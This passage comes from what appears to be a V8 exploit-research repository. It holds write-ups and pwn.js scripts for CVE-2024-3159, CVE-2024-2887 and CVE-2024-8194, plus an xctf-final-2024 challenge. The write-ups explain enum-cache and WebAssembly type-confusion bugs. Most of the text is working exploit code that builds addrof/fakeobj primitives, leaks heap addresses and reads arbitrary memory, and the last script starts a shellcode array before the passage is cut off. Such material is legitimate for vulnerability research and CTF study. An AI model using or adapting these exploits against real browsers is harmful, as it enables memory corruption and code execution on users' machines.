obj2.a = 1 16 | ``` 17 | 18 | v8 will create a new map for `obj2` and add a new transition pointer 19 | ```c 20 | [#0] 0x7ffff6933834 → v8::internal::MapUpdater::ConstructNewMap()() 21 | [#1] 0x7ffff6931c3b → v8::internal::MapUpdater::ReconfigureToDataField(v8::internal::InternalIndex, v8::internal::PropertyAttributes, v8::internal::PropertyConstness, v8::internal::Representation, v8::internal::Handle)() 22 | [#2] 0x7ffff694428b → v8::internal::(anonymous namespace)::UpdateDescriptorForValue(v8::internal::Isolate*, v8::internal::Handle, v8::internal::InternalIndex, v8::internal::PropertyConstness, v8::internal::Handle)() 23 | [#3] 0x7ffff69440c1 → v8::internal::Map::PrepareForDataProperty(v8::internal::Isolate*, v8::internal::Handle, v8::internal::InternalIndex, v8::internal::PropertyConstness, v8::internal::Handle)() 24 | [#4] 0x7ffff69244bc → v8::internal::LookupIterator::PrepareForDataProperty(v8::internal::Handle)() 25 | [#5] 0x7ffff69b2fcf → v8::internal::Object::SetDataProperty(v8::internal::LookupIterator*, v8::internal::Handle)() 26 | [#6] 0x7ffff69b189c → v8::internal::Object::SetPropertyInternal(v8::internal::LookupIterator*, v8::internal::Handle, v8::Maybe, v8::internal::StoreOrigin, bool*)() 27 | [#7] 0x7ffff69b1548 → v8::internal::Object::SetProperty(v8::internal::LookupIterator*, v8::internal::Handle, v8::internal::StoreOrigin, v8::Maybe)() 28 | [#8] 0x7ffff64c5fc5 → v8::internal::StoreIC::Store(v8::internal::Handle, v8::internal::Handle, v8::internal::Handle, v8::internal::StoreOrigin)() 29 | [#9] 0x7ffff64d19ee → v8::internal::__RT_impl_Runtime_StoreIC_Miss(v8::internal::Arguments<(v8::internal::ArgumentsType)0>, v8::internal::Isolate*)() 30 | ``` 31 | 32 | This will also update the descriptor for all affected maps on the transition chain 33 | ```cpp 34 | // Installs |new_descriptors| over the current instance_descriptors to ensure 35 | // proper sharing of descriptor arrays. 36 | void Map::ReplaceDescriptors(Isolate* isolate, 37 | Tagged new_descriptors) { 38 | PtrComprCageBase cage_base(isolate); 39 | // Don't overwrite the empty descriptor array or initial map's descriptors. 40 | if (NumberOfOwnDescriptors() == 0 || 41 | IsUndefined(GetBackPointer(cage_base), isolate)) { 42 | return; 43 | } 44 | 45 | Tagged to_replace = instance_descriptors(cage_base); 46 | // Replace descriptors by new_descriptors in all maps that share it. The old 47 | // descriptors will not be trimmed in the mark-compactor, we need to mark 48 | // all its elements. 49 | Tagged current = *this; 50 | #ifndef V8_DISABLE_WRITE_BARRIERS 51 | WriteBarrier::ForDescriptorArray(to_replace, 52 | to_replace->number_of_descriptors()); 53 | #endif 54 | while (current->instance_descriptors(cage_base) == to_replace) { 55 | Tagged next; 56 | if (!current->TryGetBackPointer(cage_base, &next)) { 57 | break; // Stop overwriting at initial map. 58 | } 59 | current->SetEnumLength(kInvalidEnumCacheSentinel); 60 | current->UpdateDescriptors(isolate, new_descriptors, 61 | current->NumberOfOwnDescriptors()); 62 | current = next; 63 | } 64 | set_owns_descriptors(false); 65 | } 66 | ``` 67 | 68 | However, this process will not create a new enum cache, so the enum cache of the descriptor will remind uninitialized. Considering code like 69 | 70 | ```javascript 71 | const object1 = {}; 72 | object1.a = 1; 73 | const object2 = {}; 74 | object2.a = 16705; 75 | object2.b = 3; 76 | const object3 = {}; 77 | object3.a = 4; 78 | object3.b = 5; 79 | object3.c = 6; 80 | 81 | for (let key in object2) { } // Trigger the enum cache creation [1] 82 | 83 | function trigger(callback) { 84 | for (let key in object2) { 85 | callback(object2[key]); 86 | } 87 | } 88 | 89 | for (let i = 0; i < 0x50000) { 90 | trigger(_ => _); 91 | trigger(_ => _); 92 | trigger(_ => _); 93 | } 94 | 95 | trigger((value) => { 96 | object3.a = 1.1; // Change the type of object3.a, update the map of object3 [2] 97 | for (let key in object1) { } // Trigger the enum cache creation [3] 98 | }); 99 | ``` 100 | 101 | In [1] the enum cache is created, and the map of `object2` is updated. In [2] the map of `object3` is updated. And the enum cache of the descriptor is uninitialized. But the length of the enumerable values of object2 has already been fetched before enter the loop body which is `2`. In [3] the enum cache is created again with only one key. This enum cache will be shared between all maps since they hold the same descriptor. Thus when iterating over `object2` with for-in loop again there will be an out of bounds access in the enum cache. 102 | 103 | ``` 104 | gef➤ call (void)_v8_internal_Print_Object(0xdd30015c735) 105 | 0xdd30015c735: [EnumCache] in OldSpace 106 | - map: 0x0dd3000001f1 107 | - keys: 0x0dd30015c71d 108 | - indices: 0x0dd30015c729 109 | ``` 110 | 111 | -------------------------------------------------------------------------------- /v8/CVE-2024-2887/pwn.js: -------------------------------------------------------------------------------- 1 | new ArrayBuffer(0x1000000); 2 | 3 | d8.file.execute('../..//test/mjsunit/wasm/wasm-module-builder.js'); 4 | 5 | const builder = new WasmModuleBuilder(); 6 | 7 | const kV8MaxWasmTypes = 1000000; 8 | 9 | // recursive group 10 | builder.startRecGroup(); 11 | for (let i = 0; i < kV8MaxWasmTypes; i++) { 12 | builder.addStruct([makeField(kWasmI32, true)]); 13 | } 14 | builder.endRecGroup(); 15 | 16 | for (let i = 0; i < 6; i++) { 17 | builder.addStruct([makeField(kWasmI32, true)]); 18 | } 19 | 20 | // kV8MaxWasmTypes + 6 21 | let pwn_struct = builder.addStruct([ 22 | makeField(kWasmI32, true), 23 | makeField(kWasmI32, true), 24 | makeField(kWasmI32, true), 25 | makeField(kWasmI32, true), 26 | makeField(kWasmI32, true), 27 | makeField(kWasmI32, true), 28 | makeField(kWasmI32, true), 29 | makeField(kWasmI32, true), 30 | ]); 31 | 32 | let get_object = builder.addType(makeSig([kWasmExternRef], [kWasmI32])); 33 | let set_object = builder.addType(makeSig([kWasmExternRef, kWasmI32], [])); 34 | 35 | // LEB encode 36 | // https://webassembly.github.io/spec/core/binary/values.html 37 | builder.addFunction('set_object', set_object).addBody([ 38 | kExprLocalGet, 0, 39 | kExprLocalGet, 1, 40 | kGCPrefix, kExprStructSet, ...wasmSignedLeb(pwn_struct), 6, 41 | // struct.set struct_index, struct, field_index, value 42 | ]).exportFunc(); 43 | 44 | builder.addFunction('get_object', get_object).addBody([ 45 | kExprLocalGet, 0, 46 | kGCPrefix, kExprStructGet, ...wasmSignedLeb(pwn_struct), 6, 47 | ]).exportFunc(); 48 | 49 | const instance = builder.instantiate(); 50 | 51 | let arr1 = [1.1, 1.2, 1.3, 1.4]; 52 | let arr2 = [{ }, 1.1, 1.2, 1.3]; 53 | 54 | function addrof(obj) { 55 | arr2[0] = obj; 56 | return instance.exports.get_object(arr2); 57 | } 58 | 59 | function fakeobj(addr) { 60 | instance.exports.set_object(arr2, addr); 61 | return arr2[0]; 62 | } 63 | 64 | let addrof_arr1 = addrof(arr1); 65 | let __arr1 = fakeobj(addrof_arr1); 66 | 67 | console.log(addrof_arr1); 68 | console.log(__arr1); 69 | % DebugPrint(arr2); 70 | 71 | % SystemBreak(); 72 | -------------------------------------------------------------------------------- /v8/CVE-2024-2887/writeup.md: -------------------------------------------------------------------------------- 1 | # CVE-2024-2887 2 | 3 | ## Description 4 | 5 | Type index can exceed `kV8MaxWasmTypes`, leading to type confusion with v8 internal `HeapType`. 6 | 7 | ## Analysis 8 | 9 | In `DecodeTypeSection()` 10 | 11 | ```cpp 12 | void DecodeTypeSection() { 13 | TypeCanonicalizer* type_canon = GetTypeCanonicalizer(); 14 | uint32_t types_count = consume_count("types count", kV8MaxWasmTypes); 15 | 16 | for (uint32_t i = 0; ok() && i < types_count; ++i) { 17 | TRACE("DecodeType[%d] module+%d\n", i, static_cast(pc_ - start_)); 18 | uint8_t kind = read_u8(pc(), "type kind"); 19 | size_t initial_size = module_->types.size(); 20 | // ... 21 | if (kind == kWasmRecursiveTypeGroupCode) { 22 | // ... 23 | uint32_t group_size = 24 | consume_count("recursive group size", kV8MaxWasmTypes); 25 | // ... 26 | if (initial_size + group_size > kV8MaxWasmTypes) { 27 | errorf(pc(), "Type definition count exceeds maximum %zu", 28 | kV8MaxWasmTypes); 29 | return; 30 | } 31 | // ... 32 | for (uint32_t j = 0; j < group_size; j++) { 33 | // ... 34 | TypeDefinition type = consume_subtype_definition(); 35 | module_->types[initial_size + j] = type; 36 | } 37 | // ... 38 | } 39 | } 40 | } 41 | ``` 42 | We can have more than one recursive group, and the size of `types` will continue to grow. So finally the type index can exceed `kV8MaxWasmTypes` even though the `types_count` is less than `kV8MaxWasmTypes` in each group. 43 | 44 | V8 will first validate the function before compiling it, in `v8::internal::wasm::WasmFullDecoder::DecodeGCOpcode()` 45 | ```cpp 46 | case kExprStructGet: { 47 | NON_CONST_ONLY 48 | FieldImmediate field(this, this->pc_ + opcode_length, validate); 49 | if (!this->Validate(this->pc_ + opcode_length, field)) return 0; 50 | ValueType field_type = 51 | field.struct_imm.struct_type->field(field.field_imm.index); 52 | if (!VALIDATE(!field_type.is_packed())) { 53 | this->DecodeError( 54 | "struct.get: Immediate field %d of type %d has packed type %s. " 55 | "Use struct.get_s or struct.get_u instead.", 56 | field.field_imm.index, field.struct_imm.index, 57 | field_type.name().c_str()); 58 | return 0; 59 | } 60 | Value struct_obj = Pop(ValueType::RefNull(field.struct_imm.index)); 61 | Value* value = Push(field_type); 62 | CALL_INTERFACE_IF_OK_AND_REACHABLE(StructGet, struct_obj, field, true, 63 | value); 64 | return opcode_length + field.length; 65 | } 66 | ``` 67 | 68 | The `Pop` function will check the type index 69 | ```cpp 70 | Pop(ValueTypes... expected_types) { 71 | constexpr int kCount = sizeof...(ValueTypes); 72 | EnsureStackArguments(kCount); 73 | DCHECK_LE(control_.back().stack_depth, stack_size()); 74 | DCHECK_GE(stack_size() - control_.back().stack_depth, kCount); 75 | // Note: Popping from the {FastZoneVector} does not invalidate the old (now 76 | // out-of-range) elements. 77 | stack_.pop(kCount); 78 | auto ValidateAndGetNextArg = [this, i = 0](ValueType type) mutable { 79 | ValidateStackValue(i, stack_.end()[i], type); 80 | return stack_.end()[i++]; 81 | }; 82 | return {ValidateAndGetNextArg(expected_types)...}; 83 | } 84 | ``` 85 | In `ValidateStackValue` it will call `IsSubtypeOf` to check the type index 86 | ```cpp 87 | V8_INLINE bool IsSubtypeOf(ValueType subtype, ValueType supertype, 88 | const WasmModule* module) { 89 | // If the types are trivially identical, exit early. 90 | if (V8_LIKELY(subtype == supertype)) return true; 91 | return IsSubtypeOfImpl(subtype, supertype, module, module); 92 | } 93 | ``` 94 | 95 | Notice that when `subtype == supertype`, it will return `true` directly. Since we can craft a type index that is exactly the same as some internal `HeapType`, we can bypass the type check and make our struct type become subtype of the internal `HeapType`. 96 | When creating a new object with `struct.new` in WebAssembly, it will can `RttCanon`, for example: 97 | ```cpp 98 | LiftoffRegister RttCanon(uint32_t type_index, LiftoffRegList pinned) { 99 | LiftoffRegister rtt = pinned.set(__ GetUnusedRegister(kGpReg, pinned)); 100 | LOAD_TAGGED_PTR_INSTANCE_FIELD(rtt.gp(), ManagedObjectMaps, pinned); 101 | __ LoadTaggedPointer( 102 | rtt.gp(), rtt.gp(), no_reg, 103 | wasm::ObjectAccess::ElementOffsetInTaggedFixedArray(type_index)); 104 | return rtt; 105 | } 106 | ``` 107 | 108 | the managed object maps is a fixed array created in `InstanceBuilder::Build()` 109 | ```cpp 110 | MaybeHandle InstanceBuilder::Build() { 111 | // ... 112 | Handle non_shared_maps = isolate_->factory()->NewFixedArray( 113 | static_cast(module_->types.size())); 114 | Handle shared_maps = 115 | shared ? isolate_->factory()->NewFixedArray( 116 | static_cast(module_->types.size())) 117 | : Handle(); 118 | for (uint32_t index = 0; index < module_->types.size(); index++) { 119 | bool shared = module_->types[index].is_shared; 120 | CreateMapForType(isolate_, module_, index, 121 | shared ? shared_trusted_data : trusted_data, 122 | instance_object, shared ? shared_maps : non_shared_maps); 123 | } 124 | // ... 125 | } 126 | ``` 127 | 128 | ## Exploit 129 | 130 | Pretty straightforward, see `pwn.js` 131 | -------------------------------------------------------------------------------- /v8/CVE-2024-3159/pwn.js: -------------------------------------------------------------------------------- 1 | new ArrayBuffer(0x7fe00000); 2 | const object1 = {}; 3 | object1.a = 1; 4 | const object2 = {}; 5 | object2.a = 16705; 6 | object2.b = 3; 7 | const object3 = {}; 8 | object3.a = 4; 9 | object3.b = 5; 10 | object3.c = 6; 11 | Object.defineProperty(object3, "d", { writable: false, enumerable: true, value: 7 }); 12 | const object4 = {}; 13 | object4.a = 8; 14 | object4.b = 9; 15 | object4.c = 10; 16 | object4.d = 11; // split_map 17 | 18 | function trigger(callback) { 19 | for (let key in object2) { 20 | callback(object2[key]); 21 | } 22 | } 23 | 24 | let fake_obj_arr = [ 25 | 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 26 | 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 27 | 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 13.37, 1.0873107215069778e-310, 0, 0, 0, 28 | 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 29 | 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 30 | 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 31 | 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 32 | 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 33 | 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 34 | 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 35 | 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 36 | 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 37 | ]; 38 | 39 | for (let i = 0; i < 0x50000; i++) { 40 | trigger(_ => _); 41 | trigger(_ => _); 42 | trigger(_ => _); 43 | trigger(_ => _); 44 | } 45 | 46 | let fakeobj = null; 47 | trigger((v) => { 48 | object4.c = 1.1; 49 | for (let key in object1) { } 50 | fakeobj = v; 51 | }); 52 | 53 | console.log(fakeobj); 54 | %DebugPrint(fakeobj); 55 | 56 | -------------------------------------------------------------------------------- /v8/CVE-2024-3159/writeup.md: -------------------------------------------------------------------------------- 1 | # CVE-2024-3159 2 | 3 | ## Description 4 | 5 | Out of bounds access in enum cache. 6 | 7 | ## Analysis 8 | 9 | The patch 10 | ```cpp 11 | bool had_any_enum_cache = 12 | split_map->instance_descriptors(isolate_) 13 | ->enum_cache() 14 | ->keys() 15 | ->length() > 0 || 16 | old_descriptors_->enum_cache()->keys()->length() > 0; // [1] patch 17 | 18 | // Deprecated part of the transition tree is no longer reachable, so replace 19 | // current instance descriptors in the "survived" part of the tree with 20 | // the new descriptors to maintain descriptors sharing invariant. 21 | split_map->ReplaceDescriptors(isolate_, *new_descriptors); 22 | 23 | // If the old descriptors had an enum cache (or if {split_map}'s descriptors 24 | // had one), make sure the new ones do too. 25 | if (had_any_enum_cache && new_map->NumberOfEnumerableProperties() > 0) { 26 | FastKeyAccumulator::InitializeFastPropertyEnumCache( 27 | isolate_, new_map, new_map->NumberOfEnumerableProperties()); 28 | } 29 | ``` 30 | 31 | The patch adds 32 | ```cpp 33 | split_map->instance_descriptors(isolate_) 34 | ->enum_cache() 35 | ->keys() 36 | ->length() > 0 37 | ``` 38 | 39 | The problem is that when creating a new map, the enum cache of the `old_descriptor` can be empty while the `split_map` can still hold an enum cache in the `instance_descriptor`. Thus this bug will result in an uninitialized enum cache in the `split_map` and all other maps linked by the back pointer. 40 | 41 | ## Exploit 42 | 43 | We can create a split map like this: 44 | 45 | ```javascript 46 | const object1 = {}; 47 | object1.a = 1; 48 | const object2 = {}; 49 | object2.a = 16705; 50 | object2.b = 3; 51 | const object3 = {}; 52 | object3.a = 4; 53 | object3.b = 5; 54 | object3.c = 6; 55 | Object.defineProperty(object3, "d", { writable: false, enumerable: true, value: 7 }); 56 | const object4 = {}; 57 | object4.a = 8; 58 | object4.b = 9; 59 | object4.c = 10; 60 | object4.d = 11; // split_map 61 | ``` 62 | 63 | ``` 64 | ========= 65 | DebugPrint: 0x102200048bdd: [JS_OBJECT_TYPE] 66 | - map: 0x102200298895 [FastProperties] 67 | - prototype: 0x102200282595 68 | - elements: 0x1022000006fd [HOLEY_ELEMENTS] 69 | - properties: 0x1022000006fd 70 | - All own properties (excluding elements): { 71 | 0x102200002ac9: [String] in ReadOnlySpace: #a: 1 (const data field 0), location: in-object 72 | } 73 | 0x102200298895: [Map] in OldSpace 74 | - map: 0x10220028169d )> 75 | - type: JS_OBJECT_TYPE 76 | - instance size: 28 77 | - inobject properties: 4 78 | - unused property fields: 3 79 | - elements kind: HOLEY_ELEMENTS 80 | - enum length: invalid 81 | - back pointer: 0x1022002823c9 82 | - prototype_validity cell: 0x1022002988dd 83 | - instance descriptors #1: 0x102200048d39 84 | - transitions #1: 0x1022002988e5 85 | 0x102200002ad9: [String] in ReadOnlySpace: #b: (transition to (const data field, attrs: [WEC]) @ Any) -> 0x1022002988e5 86 | - prototype: 0x102200282595 87 | - constructor: 0x1022002820d9 88 | - dependent code: 0x10220000070d 89 | - construction counter: 0 90 | 91 | ========= 92 | DebugPrint: 0x102200048c15: [JS_OBJECT_TYPE] 93 | - map: 0x1022002988e5 [FastProperties] 94 | - prototype: 0x102200282595 95 | - elements: 0x1022000006fd [HOLEY_ELEMENTS] 96 | - properties: 0x1022000006fd 97 | - All own properties (excluding elements): { 98 | 0x102200002ac9: [String] in ReadOnlySpace: #a: 1 (const data field 0), location: in-object 99 | 0x102200002ad9: [String] in ReadOnlySpace: #b: 1 (const data field 1), location: in-object 100 | } 101 | 0x1022002988e5: [Map] in OldSpace 102 | - map: 0x10220028169d )> 103 | - type: JS_OBJECT_TYPE 104 | - instance size: 28 105 | - inobject properties: 4 106 | - unused property fields: 2 107 | - elements kind: HOLEY_ELEMENTS 108 | - enum length: invalid 109 | - back pointer: 0x102200298895 110 | - prototype_validity cell: 0x1022002988dd 111 | - instance descriptors #2: 0x102200048d39 112 | - transitions #1: 0x10220029890d 113 | 0x102200002ae9: [String] in ReadOnlySpace: #c: (transition to (const data field, attrs: [WEC]) @ Any) -> 0x10220029890d 114 | - prototype: 0x102200282595 115 | - constructor: 0x1022002820d9 116 | - dependent code: 0x10220000070d 117 | - construction counter: 0 118 | 119 | ========= 120 | DebugPrint: 0x102200048c59: [JS_OBJECT_TYPE] 121 | - map: 0x102200298a05 [FastProperties] 122 | - prototype: 0x102200282595 123 | - elements: 0x1022000006fd [HOLEY_ELEMENTS] 124 | - properties: 0x1022000006fd 125 | - All own properties (excluding elements): { 126 | 0x102200002ac9: [String] in ReadOnlySpace: #a: 1 (const data field 0), location: in-object 127 | 0x102200002ad9: [String] in ReadOnlySpace: #b: 1 (const data field 1), location: in-object 128 | 0x102200002ae9: [String] in ReadOnlySpace: #c: 1 (const data field 2), location: in-object 129 | 0x102200002af9: [String] in ReadOnlySpace: #d: 1 (const data field 3), location: in-object 130 | } 131 | 0x102200298a05: [Map] in OldSpace 132 | - map: 0x10220028169d )> 133 | - type: JS_OBJECT_TYPE 134 | - instance size: 28 135 | - inobject properties: 4 136 | - unused property fields: 0 137 | - elements kind: HOLEY_ELEMENTS 138 | - enum length: invalid 139 | - stable_map 140 | - back pointer: 0x10220029890d 141 | - prototype_validity cell: 0x102200000a61 142 | - instance descriptors (own) #4: 0x102200048d39 143 | - prototype: 0x102200282595 144 | - constructor: 0x1022002820d9 145 | - dependent code: 0x10220000070d 146 | - construction counter: 0 147 | 148 | ========= 149 | DebugPrint: 0x102200048d79: [JS_OBJECT_TYPE] 150 | - map: 0x102200298a2d [FastProperties] 151 | - prototype: 0x102200282595 152 | - elements: 0x1022000006fd [HOLEY_ELEMENTS] 153 | - properties: 0x1022000006fd 154 | - All own properties (excluding elements): { 155 | 0x102200002ac9: [String] in ReadOnlySpace: #a: 1 (const data field 0), location: in-object 156 | 0x102200002ad9: [String] in ReadOnlySpace: #b: 1 (const data field 1), location: in-object 157 | 0x102200002ae9: [String] in ReadOnlySpace: #c: 1 (const data field 2), location: in-object 158 | 0x102200002af9: [String] in ReadOnlySpace: #d: 1 (const data field 3), location: in-object 159 | } 160 | 0x102200298a2d: [Map] in OldSpace 161 | - map: 0x10220028169d )> 162 | - type: JS_OBJECT_TYPE 163 | - instance size: 28 164 | - inobject properties: 4 165 | - unused property fields: 0 166 | - elements kind: HOLEY_ELEMENTS 167 | - enum length: invalid 168 | - stable_map 169 | - back pointer: 0x10220029890d 170 | - prototype_validity cell: 0x1022002988dd 171 | - instance descriptors (own) #4: 0x102200048d95 172 | - prototype: 0x102200282595 173 | - constructor: 0x1022002820d9 174 | - dependent code: 0x10220000070d 175 | - construction counter: 0 176 | 177 | ========= 178 | ``` 179 | 180 | ```javascript 181 | const object1 = {}; 182 | object1.a = 1; 183 | const object2 = {}; 184 | object2.a = 2; 185 | object2.b = 3; 186 | const object3 = {}; 187 | object3.a = 4; 188 | object3.b = 5; 189 | object3.c = 6; 190 | Object.defineProperty(object3, "d", { writable: false, enumerable: true, value: 7 }); 191 | const object4 = {}; 192 | object4.a = 8; 193 | object4.b = 9; 194 | object4.c = 10; 195 | object4.d = 11; 196 | 197 | function trigger(callback) { 198 | for (let key in object2) { 199 | callback(object2[key]); 200 | } 201 | } 202 | 203 | for (let i = 0; i < 0x50000; ++i) { 204 | trigger(_ => _); 205 | trigger(_ => _); 206 | trigger(_ => _); 207 | trigger(_ => _); 208 | trigger(_ => _); 209 | } 210 | 211 | trigger(v => { 212 | object4.c = 1.1; 213 | for (let key in object1) { } 214 | console.log(v); 215 | }); 216 | ``` 217 | 218 | A more detailed exploitation script in `pwn.js` 219 | 220 | -------------------------------------------------------------------------------- /v8/CVE-2024-8194/pwn.js: -------------------------------------------------------------------------------- 1 | d8.file.execute('../..//test/mjsunit/wasm/wasm-module-builder.js'); 2 | 3 | const kV8MaxWasmTypes = 1000000; 4 | 5 | // we can't fit all 0x100001 types in one recursive group 6 | { 7 | console.log("[*] create 1000000 types"); 8 | let builder = new WasmModuleBuilder(); 9 | builder.startRecGroup(); 10 | for (let i = 0; i < kV8MaxWasmTypes - 3; i++) { 11 | builder.addStruct([makeField(kWasmI32, true)]); 12 | } 13 | builder.endRecGroup(); 14 | builder.instantiate(); 15 | } 16 | { 17 | console.log("[*] create 0x100001 types"); 18 | let builder = new WasmModuleBuilder(); 19 | builder.startRecGroup(); 20 | for (let i = 0; i < 0x100001 - 1000000; i++) { 21 | builder.addStruct([makeField(kWasmI32, true)]); 22 | } 23 | builder.endRecGroup(); 24 | builder.instantiate(); 25 | } 26 | 27 | builder = new WasmModuleBuilder(); 28 | let canonicalized_100001 = builder.addStruct([makeField(kWasmI32, true)]); // canonical index 0x100001, index 0 in rec group 29 | 30 | // group 31 | builder.startRecGroup(); 32 | let ref2index2 = builder.addStruct([makeField(wasmRefType(2), true)]); // heaptype index = 2 - 1 = 1, { field0(ref{externref}): 1(0x100001) } 33 | let index2 = builder.addStruct([makeField(kWasmExternRef, true)]); // index 2 in rec group 34 | builder.endRecGroup(); 35 | 36 | // group 37 | builder.startRecGroup(); 38 | let ref2canonicalized = builder.addStruct([makeField(wasmRefType(canonicalized_100001), true)]); // heaptype 0x100001, { field0: rec0_type0x100001 } 39 | let ext = builder.addStruct([makeField(kWasmExternRef, true)]); 40 | builder.endRecGroup(); 41 | 42 | let fakeobj_type = builder.addType(makeSig([kWasmI32], [kWasmExternRef])); 43 | 44 | builder.addFunction('fakeobj', fakeobj_type).addBody([ 45 | kExprLocalGet, 0, // get arg0 46 | kGCPrefix, kExprStructNew, canonicalized_100001, // create struct with type 0x100001, { field0(int32): arg0 } 47 | kGCPrefix, kExprStructNew, ref2canonicalized, // create struct with type 0 in group1, { field0(ref): { field0(int32): arg0 } } 48 | kGCPrefix, kExprStructGet, ref2index2, 0, // type confusion, get { field0(int32): arg0 } as { field0(ref{externref}): arg0 } 49 | kGCPrefix, kExprStructGet, ext, 0, // get arg0 as externref 50 | ]).exportFunc(); 51 | 52 | let instance = builder.instantiate(); 53 | let fakeobj = instance.exports.fakeobj; 54 | console.log(fakeobj(0xc0ffee | 1)); 55 | 56 | -------------------------------------------------------------------------------- /v8/xctf-final-2024/pwn.js: -------------------------------------------------------------------------------- 1 | let dogc_flag = false; 2 | 3 | function foo() { 4 | return [ 5 | 1.0, 6 | 1.95538254221075331056310651818E-246, 7 | 1.95606125582421466942709801013E-246, 8 | 1.99957147195425773436923756715E-246, 9 | 1.95337673326740932133292175341E-246, 10 | 2.63486047652296056448306022844E-284]; 11 | } 12 | for (let i = 0; i < 0x100000; i++) { 13 | foo(); foo(); foo(); foo(); foo(); foo(); foo(); foo(); foo(); foo(); 14 | } 15 | 16 | var arr_buf = new ArrayBuffer(8); 17 | var arr_buf2 = new ArrayBuffer(8); 18 | var f64_arr = new Float64Array(arr_buf); 19 | var b64_arr = new BigInt64Array(arr_buf); 20 | let u32_arr = new Uint32Array(arr_buf); 21 | function ftoi(f) { 22 | f64_arr[0] = f; 23 | return b64_arr[0]; 24 | } 25 | function itof(i) { 26 | b64_arr[0] = i; 27 | return f64_arr[0]; 28 | } 29 | function smi(i) { 30 | return i << 1n; 31 | } 32 | function hex(i) { 33 | return "0x"+i.toString(16); 34 | } 35 | 36 | function gc_minor() { 37 | for (let i = 0; i < 0x100; i++) { 38 | new ArrayBuffer(0x10000); 39 | } 40 | } 41 | 42 | function gc() { 43 | if (dogc_flag) { 44 | gc_minor(); 45 | } 46 | } 47 | 48 | function js_heap_defragment() { 49 | for (let i = 0; i < 0x1000; i++) new ArrayBuffer(0x10); 50 | for (let i = 0; i < 0x1000; i++) new Uint32Array(1); 51 | } 52 | 53 | let empty_object = {} 54 | let empty_array = [] 55 | let corrupted_instance = null; 56 | 57 | class ClassParent { } 58 | class ClassBug extends ClassParent { 59 | constructor() { 60 | const v24 = new new.target(); 61 | let x = [ 62 | empty_object, empty_object, empty_object, empty_object, 63 | empty_object, empty_object, empty_object, empty_object, 64 | empty_object, empty_object, empty_object, 65 | ]; 66 | super(); 67 | let a = [ 68 | 13.37 69 | ]; 70 | // super(); 71 | this.x = x; 72 | this.a = a; 73 | JSON.stringify(empty_array); 74 | } 75 | [1] = gc(); 76 | } 77 | 78 | for (let i = 0; i < 200; i++) { 79 | dogc_flag = false; 80 | if (i % 2 == 0) dogc_flag = true; 81 | gc(); 82 | } 83 | 84 | for (let i = 0; i < 650; i++) { 85 | 86 | dogc_flag = false; 87 | if (i == 644 || i == 645 || i == 646 || i == 640) { 88 | dogc_flag = true; 89 | gc(); 90 | dogc_flag = false; 91 | } 92 | if (i == 646) dogc_flag = true; 93 | 94 | let x = Reflect.construct(ClassBug, empty_array, ClassParent); 95 | if (i == 646) corrupted_instance = x; 96 | } 97 | 98 | // dogc_flag = true; 99 | // gc(); 100 | // js_heap_defragment(); 101 | 102 | function addrof(obj) { 103 | corrupted_instance.x[5] = obj; 104 | f64_arr[0] = corrupted_instance.a[0]; 105 | let r = u32_arr[0] & 0xffffffff; 106 | return r; 107 | } 108 | 109 | // console.log("[*] test addrof address: "+hex(addrof_tmp(empty_object))); 110 | 111 | // set fake length 112 | corrupted_instance.x[10] = 0x10000; 113 | console.log("[*] a.length: "+corrupted_instance.a.length); 114 | if (corrupted_instance.a.length != 0x10000) { 115 | console.log("[*] failed to set a.length"); 116 | exit(); 117 | } 118 | // %DebugPrint(empty_object); 119 | // %DebugPrint(corrupted_instance.a); 120 | // %DebugPrint(corrupted_instance.x); 121 | 122 | // test 123 | // f64_arr[0] = corrupted_instance.a[7]; 124 | // console.log("[*] test: "+hex(b64_arr[0])); 125 | // %SystemBreak(); 126 | 127 | let target_arr = new Uint32Array(arr_buf); 128 | target_arr[0] = 0x41414141; 129 | target_arr[1] = 0x42424242; 130 | target_arr[2] = 0x43434343; 131 | target_arr[3] = 0x44444444; 132 | // %DebugPrint(target_arr); 133 | let addrof_target_arr = addrof(target_arr); 134 | console.log("[*] target_arr address: "+hex(addrof_target_arr)); 135 | // corrupted_instance.a[0x8e0] = itof(0x4141414100000e91n); 136 | // % DebugPrint(corrupted_instance.a); 137 | // % DebugPrint(target_arr); 138 | 139 | heap_lower32 = corrupted_instance.a[0x8ed]; 140 | heap_lower32 = ftoi(heap_lower32) & 0xffffffffn; 141 | heap_higher32 = corrupted_instance.a[0x8ed]; 142 | heap_higher32 = ftoi(heap_higher32) >> 32n; 143 | heap_addr = (heap_higher32 << 32n) | heap_lower32; 144 | console.log("[*] heap address: "+hex(heap_addr)); 145 | 146 | function set_heap_addr(addr) { 147 | corrupted_instance.a[0x8ed] = itof(addr); 148 | } 149 | 150 | // set_heap_addr(heap_addr-0x7f640); 151 | 152 | function heap_arb_read(addr) { 153 | set_heap_addr(addr); 154 | return BigInt(target_arr[0]) | (BigInt(target_arr[1]) << 32n); 155 | } 156 | 157 | // js_heap = heap_arb_read(heap_addr-0x81440n+0x4n); 158 | // js_heap = BigInt(js_heap) << 32n; 159 | // console.log("[*] js heap address: "+hex(js_heap)); 160 | 161 | js_heap_ptr = heap_arb_read(heap_addr+0x48n) 162 | console.log("[*] js heap ptr: "+hex(js_heap_ptr)); 163 | js_heap = heap_arb_read(js_heap_ptr+0x0n); 164 | console.log("[*] js heap address: "+hex(js_heap)); 165 | 166 | addrof_foo = addrof(foo); 167 | console.log("[*] foo address: "+hex(addrof_foo)); 168 | // %DebugPrint(foo); 169 | // %DebugPrint(corrupted_instance.a); 170 | // %DebugPrint(target_arr); 171 | 172 | var shellcode = [ 173 | 0x6e69622fb848686an, 174 | 